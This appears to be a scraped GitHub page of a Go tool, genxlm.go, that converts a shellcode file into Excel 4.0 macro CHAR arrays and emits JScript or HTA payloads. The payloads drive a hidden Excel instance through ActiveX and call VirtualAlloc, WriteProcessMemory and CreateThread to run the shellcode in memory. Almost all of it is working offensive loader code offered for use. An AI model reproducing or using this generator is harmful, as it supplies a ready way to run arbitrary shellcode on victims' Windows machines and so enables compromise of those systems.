-
Notifications
You must be signed in to change notification settings - Fork 29
/
genxlm.go
executable file
·202 lines (150 loc) · 4.11 KB
/
genxlm.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
package main
import (
"fmt"
"os"
"bufio"
"flag"
"strings"
)
func genJS(_shVar string) string{
_js := `
var excelObj = new ActiveXObject("Excel.Application");
excelObj.visible = false;
%SHByteArray%
var addr = excelObj.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",0,' + _shArr.length + ',4096,64)')
var i = 0;
for (i = 0; i < _shArr.length; i++) {
var ret = excelObj.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, ' + (addr + i) + ',' + _shArr[i] + ', 1, 0)')
}
excelObj.ExecuteExcel4Macro('CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, ' + addr + ', 0, 0, 0)')
`
_js = strings.ReplaceAll(_js, "%SHByteArray%", _shVar)
return _js
}
func genHTA(_shVar string) string{
_hta := `
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HTA:APPLICATION ID="test" WINDOWSTATE="minimize">
<head>
<title>Test HTA</title>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=9">
<script language="JScript">
var excelObj = new ActiveXObject("Excel.Application");
excelObj.visible = false;
%SHByteArray%
var addr = excelObj.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",0,' + _shArr.length + ',4096,64)')
var i = 0;
for (i = 0; i < _shArr.length; i++) {
var ret = excelObj.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, ' + (addr + i) + ',' + _shArr[i] + ', 1, 0)')
}
excelObj.ExecuteExcel4Macro('CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, ' + addr + ', 0, 0, 0)')
//uncomment if you want to close the HTA window after execution.
//self.close();
</script>
</head>
</html>
`
_hta = strings.ReplaceAll(_hta, "%SHByteArray%", _shVar)
return _hta
}
func isSet(name string) bool {
found := false
flag.Visit(func(f *flag.Flag) {
if f.Name == name {
found = true
}
})
return found
}
func usage() {
fmt.Fprintf(os.Stderr, "Usage of genXLM.go:\n")
flag.PrintDefaults()
println()
}
func main(){
fmt.Println(`
_ _ |"|
... (_)-(_) ... _|_|_
(. .) (o o) (- o) (o o)
ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-ooO--(_)--Ooo-
Author: @med0x2e
`)
fmt.Println()
shFileName := ""
wsh := ""
out := ""
flag.StringVar(&shFileName, "sh", "", "Shellcode file path, ex: go run genXLM.go -sh shellcode.bin")
flag.StringVar(&wsh, "wsh", "", "payload template js/hta, ex: go run genXLM.go -sh shellcode.bin -wsh js")
flag.StringVar(&out, "o", "", "output payload filename")
flag.Parse()
flag.Usage = usage
if !isSet("sh"){
flag.Usage()
return
}
if _, err := os.Stat(shFileName); os.IsNotExist(err) {
fmt.Println("[-]: Shellcode file not specified or does not exist")
return
}
isGen := false
if isSet("wsh"){
if wsh == "js" || wsh == "hta" {
isGen = true
}else{
fmt.Println("[-]: use js/hta options")
return
}
}
shFile, err := os.Open(shFileName)
if err != nil {
fmt.Println(err)
return
}
defer shFile.Close()
meta, err := shFile.Stat()
if err != nil {
fmt.Println(err)
return
}
var size int64 = meta.Size()
shBytes := make([]byte, size)
buf := bufio.NewReader(shFile)
_,err = buf.Read(shBytes)
i := 0
charArray:= "var _shArr = ["
fmt.Println("[*]: Generating byte array XLM shellcode ...")
for _, aByte := range shBytes{
charArray = charArray + fmt.Sprintf("\"CHAR(%d)\"", int(aByte))
if i != (int(size) - 1) {
charArray = charArray + ","
}
i++
}
charArray = charArray + "];"
fmt.Println("[*]: Byte array length is", size)
content := ""
if !isGen{
fmt.Println("[*]: XLM format: ")
fmt.Println(charArray)
}else{
fmt.Println("[*]: Generating", wsh, "Payload ...")
if wsh == "js"{
content = genJS(charArray)
}else{
content = genHTA(charArray)
}
outputFName := "output"
if isSet("o"){
outputFName = out
}
outputFile, err := os.Create(outputFName+"."+wsh)
if err != nil {
panic(err)
}
defer outputFile.Close()
outputFile.WriteString(content)
fmt.Println("[*]: File",outputFile.Name(), "generated.")
}
}